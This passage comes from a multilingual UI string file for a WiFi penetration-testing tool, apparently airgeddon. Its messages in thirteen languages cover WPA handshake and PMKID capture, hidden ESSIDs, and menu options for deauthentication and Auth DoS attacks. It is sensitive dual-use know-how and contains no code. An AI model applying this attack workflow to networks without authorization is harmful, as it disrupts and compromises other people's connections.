، في بعض الأحيان يمكن أن يتلف الملف أثناء تنظيفه Handshake يوصى بتنظيف ملف" arr["CHINESE",132]="建议仅清理较大的握手包文件。而且最好有一个备份,有时文件可能会在清理时损坏" arr["ENGLISH",133]="If you select a target network with hidden ESSID, you can't use it, but you can perform BSSID based attacks to that network" arr["SPANISH",133]="Si seleccionas una red objetivo con el ESSID oculto, no podrás usarlo, pero puedes hacer ataques basados en BSSID sobre esa red" arr["FRENCH",133]="Si vous sélectionnez un réseau cible avec un ESSID caché, vous n'allez pas pouvoir utiliser l'ESSID pour attaquer, mais vous pourrez effectuer les attaques basées sur le BSSID du réseau" arr["CATALAN",133]="Si selecciones una xarxa objectiu amb el ESSID ocult, no podràs usar-lo, però pots fer atacs basats en BSSID sobre aquesta xarxa" arr["PORTUGUESE",133]="Se você selecionar uma rede com ESSID oculto você não poderá usá-la, mas você poderá fazer ataques com base no BSSID" arr["RUSSIAN",133]="Если вы выбрали целевую сеть со скрытым ESSID, вы не сможете использовать её, но вы можете выполнить атаку на эту сеть на основе BSSID" arr["GREEK",133]="Αν επιλέξετε ένα δίκτυο-στόχος με κρυφό ESSID, δεν μπορείτε να το χρησιμοποιήσετε, αλλά μπορείτε να εκτελέσετε επιθέσεις BSSID σε αυτό το δίκτυο" arr["ITALIAN",133]="Se si seleziona una rete obiettivo con ESSID nascosto, non potrai utilizzarla, peró puoi fare attacchi a questa rete basati sul BSSID" arr["POLISH",133]="Jeśli wybierzesz sieć docelową z ukrytym identyfikatorem ESSID, nie będziesz w stanie jej używać, ale możesz atakować tą sieć w oparciu o BSSID" arr["GERMAN",133]="Wenn Sie ein Zielnetzwerk mit ausgeblendeter ESSID auswählen, können Sie es nicht verwenden, Sie können jedoch BSSID-basierte Angriffe auf dieses Netzwerk durchführen" arr["TURKISH",133]="Gizli ESSID ile bir hedef ağ seçerseniz, bunu kullanamazsınız, ancak bu ağa BSSID tabanlı saldırılar gerçekleştirebilirsiniz" arr["ARABIC",133]="على تلك الشبكة BSSID فلا يمكنك استخدامها ، ولكن يمكنك تنفيذ هجمات تستند على ESSID إذا قمت بتحديد شبكة مستهدفة باستخدام" arr["CHINESE",133]="如果你选择一个隐藏了 ESSID 的目标网络,你将无法使用它,但你可以对该网络执行基于 BSSID 的攻击" arr["ENGLISH",134]="If your Linux is a virtual machine, it is normal that the integrated wifi cards are detected as ethernet. You will need an external usb wifi card. More info at this link: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["SPANISH",134]="Si tu Linux es una máquina virtual, es normal que las tarjetas wifi integradas sean detectadas como ethernet. Necesitarás una tarjeta wifi externa usb. Más info en este enlace: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["FRENCH",134]="Si votre Linux est une machine virtuelle, il est normal que les cartes wifi intégrées soient détectées comme Ethernet. Vous aurez besoin d'une carte wifi USB externe. Plus d'informations sur ce lien: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["CATALAN",134]="Si el teu Linux és una màquina virtual, és normal que les targetes wifi integrades siguin detectades com a ethernet. Necessitaràs una targeta wifi externa usb. Més info en aquest enllaç: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["PORTUGUESE",134]="Se o seu Linux for uma máquina virtual é normal que as placas wifi integradas sejam detectadas como Ethernet. Você precisará de uma placa wifi USB externa. Mais informações neste link: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["RUSSIAN",134]="Если вы используете Linux в виртуальной машине, встроенные Wi-Fi модули могут определяться как Ethernet. Вам понадобится внешний USB Wi-Fi адаптер. Дополнительная информация по этой ссылке: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["GREEK",134]="Εάν το Linux σας είναι virtual machine, είναι φυσιολογικό οι ενσωματωμένες κάρτες wifi να ανιχνεύονται ως ethernet. Θα χρειαστείτε μια εξωτερική κάρτα wifi usb. Περισσότερες πληροφορίες σε αυτόν τον σύνδεσμο: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["ITALIAN",134]="Se il tuo Linux è una macchina virtuale, è normale che le schede wifi integrate vengano rilevate come ethernet. Avrai bisogno di una scheda wifi USB esterna. Maggiori informazioni in questo link: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["POLISH",134]="Jeśli Twój Linux uruchomiony jako maszyna wirtualna, normalne jest, że zintegrowane (wewnętrzne) karty Wi-Fi będą wykrywane jako karty Ethernet. Potrzebujesz zewnętrznej karty Wi-Fi USB. Więcej informacji pod tym linkiem: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["GERMAN",134]="Wenn Ihr Linux eine virtuelle Maschine ist, ist es normal, dass die integrierten WLAN-Karten als Ethernet erkannt werden. Sie benötigen eine externe USB-WLAN-Karte. Weitere Informationen unter diesem Link: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["TURKISH",134]="Eğer Linux'unuz sanal makine ise entegre wifi kartlarının ethernet olarak algılanması normaldir. Harici bir usb wifi kartına ihtiyacınız olacak. Daha fazla bilgiyi bu bağlantıda bulabilirsiniz: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["ARABIC",134]="\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine \${pink_color}:خارجيه. للمزيد من المعلومات Wifi سوف تحتاج إلى بطاقة .ethernet علي انها Wifi الخاص بك افتراضي, فمن الطبيعي ان يتم اكتشاف بطاقة ال Linux إذا كان نظام ال\${normal_color}" arr["CHINESE",134]="如果你的Linux发行版正运行在虚拟化环境,则物理机的无线 wifi 网卡被检测为以太网卡是正常的。此时您可能需要一个外部 USB 无线网卡。更多信息请访问此链接:\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#why-is-my-integrated-wifi-card-detected-as-an-ethernet-interface-in-a-virtual-machine" arr["ENGLISH",135]="Type of encryption: \${pink_color}\${enc}\${normal_color}" arr["SPANISH",135]="Tipo de encriptado: \${pink_color}\${enc}\${normal_color}" arr["FRENCH",135]="Type de chiffrement: \${pink_color}\${enc}\${normal_color}" arr["CATALAN",135]="Tipus d'encriptat: \${pink_color}\${enc}\${normal_color}" arr["PORTUGUESE",135]="Tipo de criptografia: \${pink_color}\${enc}\${normal_color}" arr["RUSSIAN",135]="Тип шифрования: \${pink_color}\${enc}\${normal_color}" arr["GREEK",135]="Τύπος κρυπτογράφησης: \${pink_color}\${enc}\${normal_color}" arr["ITALIAN",135]="Tipo di crittografia: \${pink_color}\${enc}\${normal_color}" arr["POLISH",135]="Typ szyfrowania: \${pink_color}\${enc}\${normal_color}" arr["GERMAN",135]="Verschlüsselungsart: \${pink_color}\${enc}\${normal_color}" arr["TURKISH",135]="Şifreleme tipi: \${pink_color}\${enc}\${normal_color}" arr["ARABIC",135]="\${pink_color}\${enc}\${blue_color} :نوع التشفير\${normal_color}" arr["CHINESE",135]="加密类型: \${pink_color}\${enc}\${normal_color}" arr["ENGLISH",136]="Only some networks are vulnerable to PMKID capturing. For this they must have activated roaming features like 802.11r" arr["SPANISH",136]="Solo algunas redes son vulnerables a la captura de un paquete que contenga un PMKID. Para ello han de tener activadas características de roaming como el 802.11r" arr["FRENCH",136]="Seulement certains réseaux sont vulnérables à la capture d'un paquet contenant un PMKID. Pour ce faire, ils doivent avoir activé l'itinérance des fonctionnalités telles que 802.11r" arr["CATALAN",136]="Només algunes xarxes són vulnerables a la captura d'un paquet que contingui un PMKID. Per això han de tenir activades característiques de roaming com el 802.11r" arr["PORTUGUESE",136]="Apenas algumas redes são vulneráveis a captura de um pacote contendo um PMKID. Para isso o recurso de roaming deve estar ativado, como 802.11r" arr["RUSSIAN",136]="Только некоторые сети уязвимы для захвата пакета, содержащего PMKID. Для этой уязвимости в них должны быть активированы функции роуминга, такая как 802.11r" arr["GREEK",136]="Μόνο ορισμένα δίκτυα είναι ευάλωτα στη σύλληψη ενός πακέτου που περιέχει PMKID. Για να γίνει αυτό θα πρέπει να έχετε ενεργοποιήσει τα features περιαγωγής όπως 802.11r" arr["ITALIAN",136]="Solo alcune reti sono vulnerabili alla cattura di un pacchetto contenente un PMKID. Per fare questo devono aver attivato features di roaming come 802.11r" arr["POLISH",136]="Tylko niektóre sieci są podatne na przechwytywanie pakietu z PMKID. W tym celu muszą one aktywowane funkcje roamingu takie jak 802.11r" arr["GERMAN",136]="Nur einige Netzwerke sind für PMKID capture anfällig. Diese müssen Roaming-Features wie 802.11r aktiviert haben" arr["TURKISH",136]="Sadece bazı ağlar bir PMKID içeren bir paket yakalamak için savunmasız. 802.11r özellikleri roaming için etkinleştirilmiş olmalı" arr["ARABIC",136]="802.11r لهذا يجب أن يكونوا قد قاموا بتنشيط ميزات التجوال مثل .PMKID بعض الشبكات فقط هي عرضة لالتقاط" arr["CHINESE",136]="只有一些网络容易捕获到 PMKID。前提是它们已经激活了 802.11r 等漫游功能" arr["ENGLISH",137]="The selected network is invalid. To get a Handshake, encryption type of target network should be WPA, WPA2 or WPA2/WPA3 Transitional (Mixed mode)" arr["SPANISH",137]="La red seleccionada no es válida. Para obtener un Handshake, el tipo de cifrado de la red objetivo debe ser WPA, WPA2 o WPA2/WPA3 Transitional (Mixed mode)" arr["FRENCH",137]="Le réseau sélectionné est invalide. Pour obtenir un Handshake, le type de chiffrement du réseau cible doit être WPA, WPA2 ou WPA2/WPA3 Transitional (Mixed mode)" arr["CATALAN",137]="La xarxa seleccionada no és vàlida. Per aconseguir un Handshake, el tipus de xifrat de la xarxa objectiu ha de ser WPA, WPA2 o WPA2/WPA3 Transitional (Mixed mode)" arr["PORTUGUESE",137]="A rede selecionada é inválida. Para obter um Handshake, o tipo de criptografia da rede alvo deve ser WPA, WPA2 ou WPA2/WPA3 Transitional (Mixed mode)" arr["RUSSIAN",137]="Выбранная сеть непригодна для проведения атаки. Для перехвата Handshake, тип шифрования целевой сети должен быть WPA, WPA2 или WPA2/WPA3 Transitional (Mixed mode)" arr["GREEK",137]="Το επιλεγμένο δίκτυο δεν είναι έγκυρο. Για να λάβετε Handshake, ο τύπος κρυπτογράφησης του δικτύου στόχος πρέπει να είναι WPA, WPA2 ή WPA2/WPA3 Transitional (Mixed mode)" arr["ITALIAN",137]="La rete selezionata non è valida. Per ottenere un Handshake, il tipo di crittografia della rete obiettivo deve essere WPA, WPA2 o WPA2/WPA3 Transitional (Mixed mode)" arr["POLISH",137]="Wybrana sieć jest nieprawidłowa. Aby uzyskać Handshake, typ szyfrowania sieci docelowej musi być WPA, WPA2 lub WPA2/WPA3 Transitional (Mixed mode)" arr["GERMAN",137]="Das ausgewählte Netzwerk ist ungültig. Um einen Handshake zu erhalten, muss der Verschlüsselungstyp des Zielnetzwerks WPA, WPA2 oder WPA2/WPA3 Transitional (Mixed mode) sein" arr["TURKISH",137]="Seçilen ağ geçersiz. Bir Handshake almak için hedef ağın şifreleme türü WPA, WPA2 veya WPA2/WPA3 Transitional (Mixed mode) olmalıdır" arr["ARABIC",137]="الشبكة المحددة غير صالحة.Handshake للحصول على WPA أو WPA2 أو WPA2/WPA3 Transitional (Mixed mode) يجب أن يكون نوع التشفير للشبكة المستهدفة" arr["CHINESE",137]="当前所选网络无效。要捕获 Handshake,目标网络的加密类型必须是 WPA、WPA2 或 WPA2/WPA3 混合模式 (Mixed mode)" arr["ENGLISH",138]="Attack for Handshake" arr["SPANISH",138]="Ataque para Handshake" arr["FRENCH",138]="Attaque pour obtenir un Handshake" arr["CATALAN",138]="Atac de Handshake" arr["PORTUGUESE",138]="Ataque para obter um Handshake" arr["RUSSIAN",138]="Атаковать для рукопожатия" arr["GREEK",138]="Επίθεση για Χειραψία" arr["ITALIAN",138]="Attacco per Handshake" arr["POLISH",138]="Atak na Handshake" arr["GERMAN",138]="Handshake-Angriff" arr["TURKISH",138]="Saldırı için Handshake" arr["ARABIC",138]="Handshake هجوم للحصول على" arr["CHINESE",138]="握手包攻击" arr["ENGLISH",139]="1. Deauth / disassoc amok \${mdk_command} attack" arr["SPANISH",139]="1. Ataque Deauth / Disassoc amok \${mdk_command}" arr["FRENCH",139]="1. Attaque Deauth / Disassoc amok \${mdk_command}" arr["CATALAN",139]="1. Atac Deauth / Disassoc amok \${mdk_command}" arr["PORTUGUESE",139]="1. Ataque Deauth / Disassoc amok \${mdk_command}" arr["RUSSIAN",139]="1. Атака деаутентификации / разъединения amok \${mdk_command}" arr["GREEK",139]="1. Επίθεση Deauth / disassoc amok \${mdk_command}" arr["ITALIAN",139]="1. Attacco Deauth / Disassoc amok \${mdk_command}" arr["POLISH",139]="1. Atak Deauth / Disassoc amok \${mdk_command}" arr["GERMAN",139]="1. Deauth / Disassoc Amok \${mdk_command} Angriff" arr["TURKISH",139]="1. Deauth / disassoc amok \${mdk_command} saldırısı" arr["ARABIC",139]="1. Deauth / disassoc amok \${mdk_command} هجوم" arr["CHINESE",139]="1. Deauth / disassoc amok \${mdk_command} 攻击" arr["ENGLISH",140]="2. Deauth aireplay attack" arr["SPANISH",140]="2. Ataque Deauth aireplay" arr["FRENCH",140]="2. Attaque Deauth aireplay" arr["CATALAN",140]="2. Atac Deauth aireplay" arr["PORTUGUESE",140]="2. Ataque Deauth aireplay" arr["RUSSIAN",140]="2. Атака деаутентификации aireplay" arr["GREEK",140]="2. Επίθεση Deauth aireplay" arr["ITALIAN",140]="2. Attacco Deauth aireplay" arr["POLISH",140]="2. Atak Deauth aireplay" arr["GERMAN",140]="2. Deauth aireplay Angriff" arr["TURKISH",140]="2. Deauth aireplay saldırısı" arr["ARABIC",140]="2. DeAuth aireplay هجوم" arr["CHINESE",140]="2. Deauth aireplay 攻击" arr["ENGLISH",141]="3. Auth DoS attack" arr["SPANISH",141]="3. Ataque Auth DoS" arr["FRENCH",141]="3. Attaque Auth DoS" arr["CATALAN",141]="3. Atac Auth Dos" arr["PORTUGUESE",141]="3. Ataque Auth DoS" arr["RUSSIAN",141]="3. DoS атака деаутентификации" arr["GREEK",141]="3. Επίθεση Auth DoS" arr["ITALIAN",141]="3. Attacco Auth DoS" arr["POLISH",141]="3. Atak Auth DoS" arr["GERMAN",141]="3. Auth DoS Angriff" arr["TURKISH",141]="3. Auth DoS saldırısı" arr["ARABIC",141]="3. Auth DoS هجوم" arr["CHINESE",141]="3. 身份验证 DoS 攻击 (Auth DoS)" arr["ENGLISH",142]="If the Handshake doesn't appear after an attack, try again or change the type of attack" arr["SPANISH",142]="Si tras un ataque el Handshake no aparece, vuelve a intentarlo o cambia de ataque hasta conseguirlo" arr["FRENCH",142]="Si vous n'obtenez pas le Handshake après une attaque, veuillez recommencer ou bien changer d'attaque jusqu'à son obtention" arr["CATALAN",142]="Si després d'un atac el Handshake no apareix, torna a intentar-ho o canvia d'atac fins aconseguir-ho" arr["PORTUGUESE",142]="Se o Handshake não aparecer após um ataque, tente novamente ou tente alterar o tipo de ataque" arr["RUSSIAN",142]="Если рукопожатие не появилось после атаки, попробуйте снова или измените тип атаки" arr["GREEK",142]="Αν η Χειραψία δεν εμφανιστεί μετά από την επίθεση, προσπαθήστε ξανά ή αλλάξτε τύπο επίθεσης" arr["ITALIAN",142]="Se dopo un attacco non compare l'Handshake, prova di nuovo o cambia attacco fino ad ottenerlo" arr["POLISH",142]="Jeśli po ataku nie pojawi się Handshake, spróbuj ponownie lub zmień atak" arr["GERMAN",142]="Wenn nach einem Angriff der Handshake nicht erscheint, versuchen Sie es erneut oder ändern Sie den Angriff, bis Sie ihn erhalten" arr["TURKISH",142]="Eğer handshake başarısız olduysa, başka bir saldırı yöntemi deneyin" arr["ARABIC",142]="بعد هجوم ، فحاول مرة أخرى أو قم بتغيير نوع الهجوم Handshake إذا لم يظهر" arr["CHINESE",142]="如果攻击无线网络中的客户端后没有捕获到握手包,请重试或更改攻击类型" arr["ENGLISH",143]="Two windows will be opened. One with the Handshake capturer and other with the attack to force clients to reconnect" arr["SPANISH",143]="Se abrirán dos ventanas. Una con el capturador del Handshake y otra con el ataque para expulsar a los clientes y forzarles a reconectar" arr["FRENCH",143]="Deux fenêtres vont s'ouvrir: La première pour capturer le handshake et la deuxième pour effectuer l'attaque visant à expulser les clients du réseau et les forcer à renégocier un Handshake pour se reconnecter" arr["CATALAN",143]="S'obriran dues finestres. Una amb el capturador de Handshake i una altra amb l'atac per expulsar als clients i forçar-los a reconnectar" arr["PORTUGUESE",143]="Duas janelas serão abertas. Uma para captura do Handshake e outra com o ataque para forçar os clientes a se reconectarem" arr["RUSSIAN",143]="Будут открыты два окна. Одно с захватчиком рукопожатия, а другое с атакой для принудительного переподключения клиентов" arr["GREEK",143]="Θα ανοίξουν δύο παράθυρα. Ένα με τον καταγραφέα Χειραψίας, και ένα με την επίθεση εξαναγκασμένης επανασύνδεσης των χρηστών" arr["ITALIAN",143]="Si apriranno due finestre. Una con il catturatore dell'Handshake, l'altra con l'attacco per cacciare i clienti e costringerli a riconnettersi" arr["POLISH",143]="Otworzą się dwa okna. Jedna z przechwytywaczem Handshake, a druga z atakiem, zmuszającym klientów ich do ponownego połączenia" arr["GERMAN",143]="Zwei Fenster werden sich öffnen. Eine mit dem Handshake-Grabber und eine mit dem Angriff, der die Kunden zwingt, sich wieder zu verbinden" arr["TURKISH",143]="Eğer Handshake bir saldırıdan sonra görünmezse, tekrar deneyin veya saldırı türünü değiştirin" arr["ARABIC",143]="والأخرى مع الهجوم لإجبار العملاء على إعادة الاتصال Handshake سيتم فتح نافذتين. واحدة مع آسر" arr["CHINESE",143]="脚本将打开两个窗口。一个用于捕获握手包,另一个攻击无线网络中的客户端迫使其重新连接以便于脚本捕获握手包" arr["ENGLISH",144]="Don't close any window manually, script will do when needed. In about \${timeout} seconds maximum you'll know if you've got the Handshake" arr["SPANISH",144]="No cierres manualmente ninguna ventana, el script lo hará cuando proceda. En unos \${timeout} segundos como máximo sabrás si conseguiste el Handshake" arr["FRENCH",144]="Ne pas fermer une des fenêtres manuellement: Le script va le faire automatiquement si besoin est. Vous saurez dans tout au plus \${timeout} secondes si vous avez obtenu le Handshake" arr["CATALAN",144]="No tanquis manualment cap finestra, el script ho farà quan escaigui. En uns \${timeout} segons com a màxim sabràs si vas aconseguir el Handshake" arr["PORTUGUESE",144]="Não feche nenhuma janela manualmente, o script fechará quando necessário. Em cerca de \${timeout} segundos no máximo você vai saber se tem o Handshake" arr["RUSSIAN",144]="Не закрывайте вручную какое-либо окно, скрипт сделает это когда нужно. Примерно в максимум \${timeout} секунд вы узнаете, получили ли вы рукопожатие" arr["GREEK",144]="Μην επιχειρήσετε το κλείσιμο κάποιου παραθύρου χειροκίνητα, εάν χρειαστεί το script θα το κάνει μόνο του. Σε περίπου \${timeout} δευτερόλεπτα το μέγιστο θα μάθετε αν αποκτήσατε την Χειραψία" arr["ITALIAN",144]="Non chiudere nessuna finestra manualmente, lo script lo fará quando necessario. In \${timeout} secondi al massimo scoprirai se hai catturato l'Handshake" arr["POLISH",144]="Nie należy ręcznie zamykać okien, skrypt to zrobi w razie potrzeby. W ciągu co najwyżej \${timeout} sekund dowiesz się, czy masz Handshake" arr["GERMAN",144]="Schließen Sie kein Fenster manuell, das Skript wird dies bei Bedarf tun. In ungefähr \${timeout} Sekunden werden Sie wissen, ob Sie den Handshake bekommen haben" arr["TURKISH",144]="Herhangi bir pencereyi elle kapatmayın, yazılım gerektiğinde yapacaktır. Yaklaşık \${timeout} saniye içinde, Handshake'e sahip olup olmadığınızı bileceksiniz" arr["ARABIC",144]="Handshake ثانية كحد أقصى ستعرف ما إذا كنت قد حصلت على \${timeout} لا تغلق أي نافذة يدويًا ، فسيقوم البرنامج بذلك عند الحاجة. في غضون" arr["CHINESE",144]="请不要手动关闭任何窗口,脚本会在需要时自动关闭。在大约 \${timeout} 秒内,您将知道是否已经捕获握手包" arr["ENGLISH",145]="\${blue_color}Your wifi card supports the 5Ghz band but your \"wash\" version included in reaver package (v\${reaver_version}) is not able to scan both bands at once. To use dual-band scan feature you must have at least version v\${minimum_wash_dualscan_version} so you have to make a choice. \${green_color}Do you want to scan the 5Ghz band? \${pink_color}(If you answer no (\"n\"), 2.4Ghz band will be scanned) \${normal_color}\${visual_choice}" arr["SPANISH",145]="\${blue_color}Tu tarjeta wifi soporta la banda de los 5Ghz pero tu versión de \"wash\" incluido en el paquete reaver (v\${reaver_version}) no es capaz de escanear ambas bandas a la vez. Para utilizar el escaneo dual debes tener al menos la versión v\${minimum_wash_dualscan_version} por lo que has de elegir. \${green_color}¿Deseas escanear en la banda de los 5Ghz? \${pink_color}(Si respondes que no (\"n\"), se escaneará la banda de 2.4Ghz) \${normal_color}\${visual_choice}" arr["FRENCH",145]="\${blue_color}Votre carte wifi supporte la bande 5Ghz mais votre version du \"wash\" incluse dans le paquet reaver (v\${reaver_version}) n'est pas capable de balayer les deux bandes en même temps. Pour utiliser l'analyse dual, vous devez avoir au moins la version v\${minimum_wash_dualscan_version} vous devez donc choisir. \${green_color}Voulez-vous scanner dans la bande 5Ghz? \${pink_color}(Si vous répondez non (\"n\"), la bande 2.4Ghz sera analysée) \${normal_color}\${visual_choice}" arr["CATALAN",145]="\${blue_color}La teva targeta wifi suporta la banda dels 5Ghz però la teva versió del \"wash\" inclòs en el paquet reaver (v\${reaver_version}) no és capaç d'escanejar les dues bandes alhora. Per utilitzar l'escaneig dual has de tenir almenys la versió v\${minimum_wash_dualscan_version} pel que has de triar. \${green_color}¿Voleu escanejar a la banda dels 5Ghz? \${pink_color}(Si respons que no (\"n\"), es escanejarà la banda de 2.4Ghz) \${normal_color}\${visual_choice}" arr["PORTUGUESE",145]="\${blue_color}A sua interface wifi suporta a banda 5Ghz, mas a sua versão do \"wash\" incluída no pacote reaver (v\${reaver_version}) não é capaz de escanear ambas as bandas ao mesmo tempo. Para usar a varredura dupla, você deve ter pelo menos a versão v\${minimum_wash_dualscan_version}. Você deve escolher. \${green_color}Deseja escanear a banda 5Ghz? \${pink_color}(Se você responder não (\"n\"), somente banda 2.4Ghz será digitalizada) \${normal_color}\${visual_choice}" arr["RUSSIAN",145]="\${blue_color}Ваша карта wifi поддерживает диапазон 5Ghz, но ваша версия \"wash\", включенная в пакет reaver (v\${reaver_version}), не может одновременно сканировать обе полосы. Чтобы использовать двойное сканирование, вы должны иметь хотя бы версию v\${minimum_wash_dualscan_version}, поэтому вам нужно выбрать только одну из частот. \${green_color}Вы хотите сканировать частоты 5Ghz? \${pink_color}(Если вы ответите нет (\"n\"), будут просканированы частоты 2.4Ghz) \${normal_color}\${visual_choice}" arr["GREEK",145]="\${blue_color}Η κάρτα wifi σας υποστηρίζει την 5Ghz ζώνη, αλλά η έκδοση του \"wash\" που περιλαμβάνεται στο πακέτο του reaver (v\${reaver_version}) δεν είναι σε θέση να σαρώσει ταυτόχρονα και τις δύο ζώνες (dual band). Για να χρησιμοποιήσετε την σάρωση για dual band, πρέπει να έχετε τουλάχιστον την έκδοση v\${minimum_wash_dualscan_version} για να μπορέσετε να συνεχίσετε. \${green_color}Θέλετε να σαρώσετε στην 5Ghz ζώνη; \${pink_color}(Εάν απαντήσετε όχι (\"n\"), η 2.4Ghz ζώνη θα σαρωθεί) \${normal_color}\${visual_choice}" arr["ITALIAN",145]="\${blue_color}La tua scheda wifi supporta la banda 5Ghz ma la tua versione di \"wash\" inclusa nel pacchetto reaver (v\${reaver_version}) non è in grado di scansionare entrambe le bande contemporaneamente. Per usare la doppia scansione devi avere almeno la versione v\${minimum_wash_dualscan_version}, quindi devi sceglierne una. \${green_color}Vuoi eseguire la scansione nella banda 5Ghz? \${pink_color}(Se rispondi no (\"n\"), verrà scansionata la banda 2.4Ghz) \${normal_color}\${visual_choice}" arr["POLISH",145]="\${blue_color}Twoja karta wifi obsługuje pasmo 5Ghz, ale twoja wersja \"wash\" zawarta w pakiecie reaver (v\${reaver_version}) nie jest w stanie skanować obu pasm w tym samym czasie. Aby użyć podwójnego skanowania, musisz mieć przynajmniej wersję v\${minimum_wash_dualscan_version}. \${green_color}Musisz wybrać: czy chcesz skanować w paśmie 5Ghz? \${pink_color}(Jeśli odpowiesz nie (\"n\"), zostanie zeskanowane pasmo 2.4Ghz) \${normal_color}\${visual_choice}" arr["GERMAN",145]="\${blue_color}Ihre WLAN-Karte unterstützt das 5Ghz-Band, aber Ihre im reaver-Paket enthaltene Version von \"wash\" (v\${reaver_version}) kann nicht beide Bänder gleichzeitig scannen. Um den dualen Scan zu verwenden, müssen Sie mindestens Version v\${minimum_wash_dualscan_version} haben, also müssen Sie wählen. \${green_color}Möchten Sie im 5Ghz-Band scannen? \${pink_color}(Wenn Sie nein (\"n\" antworten), wird das 2.4Ghz-Band gescannt) \${normal_color}\${visual_choice}" arr["TURKISH",145]="\${blue_color}Wifi kartınız 5Ghz destekliyor fakat \"wash\" versiyonunuz iki bandı aynı anda taramayı desteklemiyor. İkili band taramayı yapabilmek için en son versiyona v\${minimum_wash_dualscan_version} sahip olmanız gerekiyor. \${green_color}5Ghz band taramayı istiyor musunuz? \${pink_color}(Eğer cevabınız hayır ise (\"n\"), 2.4Ghz band taranacak) \${normal_color}\${visual_choice}" arr["ARABIC",145]="\${normal_color}\${visual_choice} \${pink_color}(فسيتم فحص نطاق 2.4 جيجا هرتز ، (\"n\") إذا أجبت بـ لا( ، \${green_color}هل تريد مسح نطاق 5 جيجاهرتز؟ \${blue_color}.لذلك عليك أن تختار .v\${minimum_wash_dualscan_version} غير قادر على فحص كلا النطاقين في وقت واحد. لاستخدام ميزة المسح ثنائي النطاق ، يجب أن يكون لديك على (v\${reaver_version}) المتضمن في حزمة \"wash \" نطاق 5 جيجا هرتز ولكن إصدار wifi تتحمل بطاقة\${normal_color}" arr["CHINESE",145]="\${blue_color}您的 wifi 网卡支持 5Ghz 频段,但 reaver 包中包含的 \"wash\" 版本 (v\${reaver_version}) 无法同时扫描两个频段。要使用双频扫描功能,您的版本必须至少为 v\${minimum_wash_dualscan_version},因此您必须做出选择。\${green_color}您要扫描5Ghz频段吗? \${pink_color}(如果您回答否 (\"n\"),将扫描 2.4Ghz 频段) \${normal_color}\${visual_choice}" arr["ENGLISH",146]="It seems we failed... try it again, choose another attack or increase the timeout" arr["SPANISH",146]="Parece que no lo hemos conseguido... inténtalo de nuevo, elige otro ataque o incrementa el timeout" arr["FRENCH",146]="Il semble que c'est un échec... Essayez à nouveau, choisissez une autre attaque ou augmentez le timeout" arr["CATALAN",146]="Sembla que no ho hem aconseguit... intenta-ho de nou, tria un altre atac o incrementa el timeout" arr["PORTUGUESE",146]="Parece que nos falhamos... Tente novamente, escolha outro ataque ou aumente o timeout" arr["RUSSIAN",146]="Кажется мы потерпели неудачу... повторите попытку, выберите другую атаку или увеличьте время ожидания" arr["GREEK",146]="Φαίνεται πως αποτύχαμε... προσπαθήστε ξανά ή επιλέξτε άλλου είδους επίθεση ή αυξήστε το timeout" arr["ITALIAN",146]="Sembra che abbiamo fallito... riprova, scegli un altro attacco o aumenta il timeout" arr["POLISH",146]="Wygląda na to, że się nie udało... spróbuj ponownie, wybierz inny atak lub zwiększ timeout" arr["GERMAN",146]="Anscheinend haben wir es nicht geschafft... versuchen Sie es erneut oder erhöhen Sie den Timeout" arr["TURKISH",146]="Başarısız görünüyoruz... tekrar deneyin, başka bir saldırı seçin veya zaman aşımını artırın" arr["ARABIC",146]="يبدو أننا فشلنا ... حاول مرة أخرى ، اختر هجومًا آخر أو قم بزيادة المهلة" arr["CHINESE",146]="看来我们失败了... 再试一次!选择另一种攻击方式或增加等待时间" arr["ENGLISH",147]="0. Return to Handshake/PMKID/Decloak tools menu" arr["SPANISH",147]="0. Volver al menú de herramientas Handshake/PMKID/Decloak" arr["FRENCH",147]="0. Retourner au menu des outils pour la capture du Handshake/PMKID/Decloak" arr["CATALAN",147]="0. Tornar al menú d'eines Handshake/PMKID/Decloak" arr["PORTUGUESE",147]="0. Voltar para o menu de ferramentas Handshake/PMKID/Descamuflagem" arr["RUSSIAN",147]="0. Вернуться в меню инструментов для работы с Handshake/PMKID/Decloak" arr["GREEK",147]="0. Επιστροφή στο μενού με τα εργαλεία Handshake/PMKID/Decloak" arr["ITALIAN",147]="0. Torna al menu degli strumenti Handshake/PMKID/Decloak" arr["POLISH",147]="0. Wróć do menu narzędzi Handshake/PMKID/Decloak" arr["GERMAN",147]="0. Zurück zum Handshake/PMKID/Decloaking-Toolsmenü" arr["TURKISH",147]="0. Handshake/PMKID/Decloak menüsüne geri dön" arr["ARABIC",147]="0. Handshake/PMKID/Decloak ارجع إلى قائمة أدوات" arr["CHINESE",147]="0. 返回 Handshake/PMKID/Decloak 工具菜单" arr["ENGLISH",148]="Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${handshakepath}]" 